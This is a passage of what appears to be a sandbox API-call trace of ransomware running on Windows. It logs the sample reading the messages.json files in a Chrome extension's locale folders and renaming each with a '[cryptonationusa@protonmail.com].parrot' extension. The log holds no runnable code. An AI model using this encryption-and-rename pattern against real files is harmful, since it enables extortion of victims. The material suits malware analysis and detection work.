dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.994] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.014] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.014] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.014] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.014] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.014] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.015] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e5, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.015] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.015] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.016] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.016] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xcd, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xcd, lpOverlapped=0x0) returned 1 [0072.016] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.016] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.016] CloseHandle (hObject=0x28c) returned 1 [0072.017] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.018] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.018] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8687b40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8687b40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.018] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8687b40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.019] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.019] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.019] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.019] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.019] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.019] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x115, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.019] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x22d, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.019] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.019] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.020] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.020] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x115, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x115, lpOverlapped=0x0) returned 1 [0072.020] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.020] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x22d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.021] CloseHandle (hObject=0x28c) returned 1 [0072.021] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.025] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.025] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8687b40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8687b40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.025] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8687b40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.025] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.073] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.073] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.073] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.073] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.073] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x177, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.073] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x28f, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.073] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.073] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.074] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.074] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x177, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x177, lpOverlapped=0x0) returned 1 [0072.075] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.075] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x28f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.075] CloseHandle (hObject=0x1fc) returned 1 [0072.075] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.077] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.077] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb87200c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb87200c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.077] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb87200c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x298, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.078] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.078] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.078] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.078] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.078] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.078] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.078] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f5, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.078] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.078] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.079] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.079] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xdd, lpOverlapped=0x0) returned 1 [0072.079] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.080] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.080] CloseHandle (hObject=0x1fc) returned 1 [0072.080] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.082] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.082] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb87200c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb87200c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.082] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb87200c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.082] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.108] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.108] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.108] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.108] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.108] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fedf50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.108] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c8, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.108] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.108] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.109] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.109] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb0, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb0, lpOverlapped=0x0) returned 1 [0072.109] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.109] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.109] CloseHandle (hObject=0x28c) returned 1 [0072.110] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user 